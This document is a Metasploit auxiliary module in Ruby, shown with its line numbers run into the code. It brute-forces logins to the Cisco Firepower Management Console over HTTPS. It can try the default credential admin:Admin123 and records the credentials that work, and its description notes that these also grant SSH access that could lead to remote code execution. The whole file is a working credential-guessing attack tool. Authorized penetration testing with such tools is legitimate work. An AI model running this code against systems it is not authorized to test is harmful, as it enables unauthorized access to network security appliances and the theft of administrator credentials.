Path: blob/master/modules/auxiliary/scanner/http/cisco_firepower_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/login_scanner/cisco_firepower'6require 'metasploit/framework/credential_collection'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::AuthBrute11include Msf::Auxiliary::Report12include Msf::Auxiliary::Scanner1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Cisco Firepower Management Console 6.0 Login',19'Description' => %q{20This module attempts to authenticate to a Cisco Firepower Management console via HTTPS.21The credentials are also used for SSH, which could allow remote code execution.22},23'Author' => [ 'sinn3r' ],24'License' => MSF_LICENSE,25'DefaultOptions' => {26'RPORT' => 443,27'SSL' => true,28'SSLVersion' => 'Auto'29},30'Notes' => {31'Reliability' => UNKNOWN_RELIABILITY,32'Stability' => UNKNOWN_STABILITY,33'SideEffects' => UNKNOWN_SIDE_EFFECTS34}35)36)3738register_options(39[40OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),41OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:Admin123', false])42]43)44end4546def scanner(ip)47@scanner ||= lambda {48cred_collection = build_credential_collection(49username: datastore['USERNAME'],50password: datastore['PASSWORD']51)5253if datastore['TRYDEFAULT']54print_status("Default credential admin:Admin123 added to the credential queue for testing.")55cred_collection.add_public('admin')56cred_collection.add_private('Admin123')57end5859return Metasploit::Framework::LoginScanner::CiscoFirepower.new(60configure_http_login_scanner(61host: ip,62port: datastore['RPORT'],63cred_details: cred_collection,64stop_on_success: datastore['STOP_ON_SUCCESS'],65bruteforce_speed: datastore['BRUTEFORCE_SPEED'],66connection_timeout: 5,67http_username: datastore['HttpUsername'],68http_password: datastore['HttpPassword'],69uri: target_uri.path70)71)72}.call73end7475def report_good_cred(ip, port, result)76service_data = {77address: ip,78port: port,79service_name: 'http',80protocol: 'tcp',81workspace_id: myworkspace_id82}8384credential_data = {85module_fullname: self.fullname,86origin_type: :service,87private_data: result.credential.private,88private_type: :password,89username: result.credential.public,90}.merge(service_data)9192login_data = {93core: create_credential(credential_data),94last_attempted_at: DateTime.now,95status: result.status,96proof: result.proof97}.merge(service_data)9899create_credential_login(login_data)100end101102def report_bad_cred(ip, rport, result)103invalidate_login(104address: ip,105port: rport,106protocol: 'tcp',107public: result.credential.public,108private: result.credential.private,109realm_key: result.credential.realm_key,110realm_value: result.credential.realm,111status: result.status,112proof: result.proof113)114end115116def bruteforce(ip)117scanner(ip).scan! do |result|118case result.status119when Metasploit::Model::Login::Status::SUCCESSFUL120print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")121report_good_cred(ip, rport, result)122when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT123vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)124report_bad_cred(ip, rport, result)125when Metasploit::Model::Login::Status::INCORRECT126vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")127report_bad_cred(ip, rport, result)128end129end130end131132def run_host(ip)133unless scanner(ip).check_setup134print_brute(:level => :error, :ip => ip, :msg => 'Target is not Cisco Firepower Management console.')135return136end137138bruteforce(ip)139end140end141142143